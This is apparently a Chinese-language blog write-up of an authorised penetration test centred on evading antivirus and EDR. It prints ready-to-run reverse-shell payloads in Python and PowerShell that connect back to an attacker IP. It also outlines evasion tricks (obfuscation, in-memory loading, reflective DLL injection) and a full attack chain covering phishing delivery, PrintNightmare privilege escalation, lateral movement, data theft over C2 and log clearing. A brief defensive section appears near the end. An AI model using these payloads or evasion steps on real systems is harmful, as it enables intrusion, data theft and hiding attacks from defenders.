一、一次“完美”渗透测试的开始

有一次,我被邀请参加一个授权渗透测试,目标是一家不太注重内部安全的公司。经过一些基本的信息收集,我成功找到了一个可能的入口——一台公开暴露在网络上的服务器。启动攻击之前,我意识到这次渗透的核心在于如何绕过他们的安全防御,尤其是繁杂的杀毒软件和EDR系统。于是,我决定在免杀技术上下功夫,确保我们的载荷在执行时能够悄无声息。

二、构建不可见的Payload

在渗透测试中,构建一个隐形的Payload是关键的一步。我的目标是开发一个看起来无害的恶意软件,但实际上可以为我们打开一扇可以远程控制的门。

Python版Payload构建:

我选择Python是因为其强大的库和灵活性。在实战中,我常常使用以下代码作为基础来构建Payload:

<pre><code class="language-python">import os import socket

def create_backdoor(): host = &#039;192.168.1.100&#039; # 这里填写你的攻击机IP port = 4444 # 自定义的监听端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) os.dup2(s.fileno(), 0) # 将标准输入、输出及错误重定向到socket os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) import pty pty.spawn(&quot;/bin/bash&quot;) # 启动一个bash shell

create_backdoor()</code></pre>

PowerShell版Payload构建:

对于Windows环境,我选择PowerShell作为执行载荷的语言。这段代码可以创建一个后门并维持权限:

<pre><code class="language-powershell">$server = &quot;192.168.1.100&quot; # 攻击机IP地址 $port = &quot;4444&quot; # 监听的端口

$client = New-Object System.Net.Sockets.TCPClient($server, $port) $stream = $client.GetStream() [byte[]]$bytes = 0..255 | % {0} $data = New-Object System.IO.StreamReader($stream) $writer = New-Object System.IO.StreamWriter($stream) $writer.AutoFlush = $true while($true) { $command = $data.ReadLine() if (!$command) { break } $result = iex $command 2&gt;&amp;1 | Out-String $writer.WriteLine($result) $writer.Flush() } $client.Close()</code></pre>

三、绕过安全防护的技巧

在实际操作中,杀毒软件和EDR系统是我们最常遇到的障碍。我需要确保载荷能够绕过它们的检测。以下是一些经过实战验证的技巧:

二进制混淆

通过混淆代码结构和变量名,使得特征检测变得困难。这在Python中可以通过如pyobfuscate等工具实现,而PowerShell中可以通过使用混淆器进行处理。

内存加载

使用内存加载技术,将恶意代码直接在内存中运行,避免触碰磁盘。这在Python中可以通过使用ctypes或者pythoncom模块来实现,而在PowerShell中则可以利用Reflective DLL Injection

动态编译与执行

将Payload分割成多个部分,动态编译并执行。这样即使某部分被检测到,整体仍能够继续执行。

四、实战环境搭建与演练

为了确保Payload的有效性,我在一个虚拟环境中进行演练。这个环境包含了一台Windows主机和一台Linux服务器,分别模拟不同的操作系统环境。

配置环境

  • 攻击机: 使用Kali Linux作为攻击机,它自带Cobalt Strike和Metasploit。
  • 目标机: 一台Windows 10以及Ubuntu 20.04,均安装最新的防病毒软件和EDR工具。

演练步骤

黑客示意图

  1. 信息收集: 使用nmapmasscan快速扫描目标的开放端口。
  2. Payload投递: 通过钓鱼邮件或者社会工程学手段,将构建的Payload上传至目标。
  3. 权限提升: 使用本地提权漏洞如CVE-2021-34527(PrintNightmare)进行权限提升。
  4. 横向移动: 利用获取的管理员权限,通过wmiexec.py在内网进行横向移动。
  5. 数据窃取: 搜索目标机上的敏感文件并通过C2传输回攻击机。
  6. 痕迹清除: 使用Metasploit中的clearevents模块清除操作痕迹。

五、检测与防御:甲方视角

黑客示意图

虽然这篇文章是从攻击者的视角出发,但作为甲方的渗透测试工程师,我也必须关注如何检测到这些攻击。以下是一些防御建议:

强化EDR监控

确保EDR系统的配置是最新的,并且能够实时监控内存异常和网络流量。

行为分析

基于行为分析的检测能够更有效识别攻击行为,例如,监控异常的文件访问、网络连接以及命令执行。

提高员工安全意识

通过定期的钓鱼模拟测试,提高员工对邮件和文件的安全性认知。

黑客示意图

六、经验教训与心得分享

在这次渗透测试中,我深刻认识到免杀技术的力量和局限性。虽然技术上能够绕过很多检测,但在实际环境中,成功与否取决于部署的细节和对目标的了解。

心得:

  • 充分的信息收集是成功的基础。
  • 不要过度依赖某种技术,灵活应变才是关键。
  • 团队合作能够提高渗透测试的成功率,分工明确才能高效完成任务。

这次的渗透测试让我更深入理解攻击与防御的动态平衡。在未来的工作中,我希望能够不断提升自己的技术水平,同时也帮助甲方提高他们的安全防御能力。